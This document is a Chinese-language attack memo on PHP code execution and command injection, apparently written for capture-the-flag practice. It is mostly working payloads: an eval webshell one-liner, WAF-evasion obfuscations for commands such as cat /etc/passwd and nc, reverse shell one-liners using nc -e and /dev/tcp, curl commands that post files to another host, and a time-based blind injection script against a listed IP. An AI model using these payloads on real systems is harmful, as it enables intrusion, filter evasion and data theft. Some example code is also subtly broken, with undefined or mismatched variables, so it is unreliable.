命令执行漏洞备忘录


命令执行漏洞备忘录

  • 代码执行
          • 代码执行常见函数:
  • 命令执行
          • 常见命令执行函数
          • 绕过disable_functions
  • 命令执行WAF绕过
          • 通配符
          • 连接符
          • 变量
          • IP的等价表示法
          • 命令分隔符
          • 空格代替
          • base编码绕过
          • 字符串长度限制
          • 无字母数字Webshell
  • 无回显的命令执行
          • 反弹shell
          • curl
          • 盲注
  • 参考:

代码执行

代码执行常见函数:
1
2
3
4
5
6
7
8
9
?   ${}
?   eval
?   assert
?   preg_replace
?   create_function()
?   array_map()
?   call_user_func()/call_user_func_array()
?   array_filter()
?   usort(),uasort()

${}

1
2
3
用法:${php代码}

${phpinfo()};

eval()

1
eval ( string $code ) : mixed

把字符串 code 作为PHP代码执行。
? eval 是一个语言构造器而不是一个函数
? PHP eval() 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
? 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
? 在一个php文件中,eval执行完就会结束,所以当同一个php文件中有多个eval的时候,只会执行第一个。

1
<?php @eval($_POST[cmd]);?>

assert()
PHP 5

1
assert ( mixed $assertion [, string $description ] ) : bool

PHP 7

1
assert ( mixed $assertion [, Throwable $exception ] ) : bool

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
assert 是一个函数,assert 这个函数在 php 语言中是用来判断一个表达式是否成立。返回 true or false;assert 函数的参数会被执行,这跟 eval() 类似。

1
<?php assert($_POST['a']);?>

assert函数支持动态调用(php < 7.0.29)

1
2
$a = 'assert';
$a($_POST['a']);

在这里插入图片描述
call_user_func 与 assert连用时会受到此版本限制

preg_replace()

1
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。
执行代码需要使用/e修饰符。

1
2
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

PHP 5.5.0 起被弃用, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起不再支持,会产生 E_WARNING 错误,同时 “\e” 也无法起效。请用 preg_replace_callback() 代替。

create_function()

1
create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。此函数在内部执行eval()。

1
2
3
$a = $_GET['chybeta'];
$b = create_function('$a',"echo $a");
$b('');

第二个参数是执行代码的地方

1
2
3
4
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
$b('sd');

这里直接传入phpinfo();是不行的,构造的payload

1
?id=2;}phpinfo();/*

这里create_function的过程相当于

1
2
3
function anonymous($name){
echo $name."编号".$id;
}

通过闭合和注释把phpinfo();引入代码执行

array_map()

1
array_map ( callable $callback , array $array1 [, array $... ] ) : array

第一个参数为用户自定义函数的名称,或者是 null。
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
$a = array(1, 2, 3, 4, 5);
$b = array_map($_GET['id'], $a);

?id=phpinfo //第一个参数传值需为字符串

1
2
3
4
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;  //第二个参数应为数组 若没有这句代码 传值应为b[]=phpinfo
$c = array_map($a,$array);

?a=assert&b=phpinfo();

call_user_func()/call_user_func_array()

call_user_func — 把第一个参数作为回调函数调用

1
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

1
call_user_func($_GET['a'],$_GET['b']);

?a=assert&b=phpinfo();

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

1
call_user_func_array ( callable $callback , array $param_arr ) : mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。和array_map()差不多。

1
2
3
4
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;  //第二个参数应为数组 若没有这句代码 传值应为b[]=phpinfo();
call_user_func_array($a,$array);

array_filter()

1
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

1
2
$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()/uasort()

1
usort ( array &$array , callable $value_compare_func ) : bool

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
php < 5.6

1
2
3
usort($_GET[1],‘assert‘);

?1[]=phpinfo()&1[]=123&2=assert

php > 5.6

1
2
3
usort(...$_GET);  //...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

?1[]=test&1[]=phpinfo();&2=assert

eval长度限制绕过 && PHP5.6新特性

ob_start()

1
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

1
2
3
ob_start("system");
    echo "whoami";
    ob_end_flush();

命令执行

常见命令执行函数

有回显
? system()
? passthru()
无回显(要加echo)
? exec()
? shell_exec()
? 反引号 echo @whoami`;

绕过disable_functions

webshell 无法执行系统命令,服务端 disable_functions禁用了命令执行函数。

严格的 disable_functions 限制项
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,

1. 黑名单 bypass
查找漏网之鱼
2. 攻击后端组件
3. LD_PRELOAD
4. 特点版本漏洞

内容太多了,另外另外整理一篇
相关文章:
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
PHP中通过bypass disable functions执行系统命令的几种方式
bypass disable_function总结学习
无需sendmail:巧用LD_PRELOAD突破disable_functions

命令执行WAF绕过

通配符
1
2
3
4
5
*    代表『 0 个到无穷多个』任意字符
?    代表『一定有一个』任意字符
[ ]    同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]    若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ]    若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

用于阻止所有在GET或POST请求参数内包含/etc/passwd或/bin/ls的规则, 且目标WAF也没那么”偏执“对?和/这类的字符进行阻止

1
2
3
4
5
cat /etc/passwd   =>   /?in/cat /et?/passw?
ls  =>  /b??/?s    
nc -e /bin/bash 127.0.0.1 8080  =>  /??n/?c -e /??n/b??h 2130706433 8080   //这里将IP地址转换成整型

ls *.???将列出当前目录中,具有3个字符长度的所有文件。诸如.gif,.jpg,.txt之类扩展名的文件

注意不要使用过多问号,因为/???/?t不仅可以被转换为/bin/cat,还可以是/dev/net 或 /etc/apt

连接符

单引号,双引号,反斜杆

1
2
3
4
5
6
/etc/passwd   =>   /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
/bin/which nc   =>   /'b'i'n'/'w'h'i'c'h' 'n'c          //检测NC
/bin/which wget   =>   /'b'i'n'/'w'h'i'c'h' 'w'g'e't        //检测wget
/??n/n'c' -e /??n/b??h 2130706433 8000
n\c -e /b?n/b?sh 127.0.0.1 8000
ba\sh -i >& /dev/tcp/127.0.0.1/8000 0>&1
变量

未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,未初始化的变量值都是null。这里用来混淆防火墙。

1
2
3
4
5
6
/etc/passwd   =>   cat$a /etc$a/passwd$a
nc -e /bin/bash 127.0.0.1 8080   =>   /bin$s/nc$s -e /bin$s/bash$s 2130706433 8080
c\u\r\l$a 2130706433:8000

利用变量绕过敏感字符
a=l;b=s;$a$b
IP的等价表示法

ip = ‘127.0.0.1’

1
2
3
4
5
6
7
8
9
# 十六进制
print '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
                   for i in ip.split('.')])
# 长整数
print int(''.join([str(hex(int(i))[2:].zfill(2))
                   for i in ip.split('.')]), 16)
# 八进制
print '0' + oct(int(''.join([str(hex(int(i))[2:].zfill(2))
                   for i in ip.split('.')]), 16))
命令分隔符

在这里插入图片描述

空格代替
1
2
3
4
<
${IFS}
$IFS$9
%09用于url传递
base编码绕过

cat base64编码后为 Y2F0Cg==

1
`echo 'Y2F0Cg==' | base64 -d` flag.txt
字符串长度限制

利用续行符拆分命令成多行
\ 在linux里也是个连接符,最早使用在屏幕不能容纳超过18个字符的第一代计算机,用于连接上下两行
在这里插入图片描述
输出重定向和文件内容追加

1
2
3
4
?   ">"一个大于号表示覆盖原文件内容
?   ">>"两个大于号表示在文件内容的末尾追加内容
?   追加或覆写的内容,可以是一段指令的显示的内容
?   如果要追加的目标文件不存在,则系统会自动创建

>文件名 可以创建文件,命令>文件名 可以将命令执行结果重定向到文件

在这里插入图片描述
echo "“字符串” > 目标文件
在这里插入图片描述

ls -t可以将文件按时间顺序排列

base64命令可以避免特殊字符

1
2
1. 用上面的技巧直接写马
2.可以写个马放到vps上,然后用上面的技巧使用wget,curl等方式下载vps上的马,本地执行

具体例题:[hitcon2017] BabyFirst Revenge ,[hitcon2017] BabyFirst Revenge v2

无字母数字Webshell

1.利用位运算
2.利用自增运算符

无字母数字Webshell之提高篇
一些不包含数字和字母的webshell

无回显的命令执行

用自己的vps,或者利用ceye平台记录在http request/ dns query

反弹shell
1
2
nc -e /bin/bash ip port
bash -i >& /dev/tcp/ip/port 0>&1
curl

直接ip发送get包

-d发送post包

1
curl -d @/flag 127.0.0.1:8080

-v 显示整个通信过程

–data发送数据

可以这样执行命令:

1
2
curl -v http://ip?whoami
curl -v http://ip --data whoami

在/var/log/apache2/access.log下看到命令执行的结果

盲注

时间盲注

1
2
grep ^内容 /flag  && sleep 10
grep ^内容 /flag  && sleep 10

可以用&& ||实现三目运算 因为&&优先级比||高 &&执行的情况下||就不执行了 可以代替if

例题:DASCTF 5月赛 X BJD3rd 帮帮小红花

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#以下脚本来自https://www.cnblogs.com/h3zh1/p/12945275.html
import requests
import time
url = "http://183.129.189.60:10070/?imagin="
requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题

SLEEP_TIME = 0.25
kai_shi = time.time()
flag=""
i = 0 # 计数器
print("[start]: -------")

while( True ):
    head = 32
    tail = 127
    i += 1

    while ( head < tail ) :
        mid = ( head + tail ) >> 1
        payload = '''h3zh1=$( cat /flag | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % ( i, i, mid, SLEEP_TIME)
       
        start_time = time.time() # 开始
        r = requests.get(url+payload)
        end_time = time.time() # 结束
        #print(payload)

        if ( end_time - start_time > SLEEP_TIME ) :
            head = mid + 1
        else :
            tail = mid
   
    if head!=32:
        flag += chr(head)
        print("[+]: "+flag)
    else:
        break

print("[end]: "+flag)
jie_shu = time.time()

print("程序运行时间:"+str(jieshu - kaishi))

参考:

https://www.freebuf.com/articles/web/185158.html
https://www.freebuf.com/articles/web/186298.html
https://www.freebuf.com/articles/web/160175.html、
https://baijiahao.baidu.com/s?id=1663384918072293799&wfr=spider&for=pc
https://www.anquanke.com/post/id/87203
https://blog.csdn.net/JBlock/article/details/88311388
https://www.cnblogs.com/20175211lyz/p/11396392.html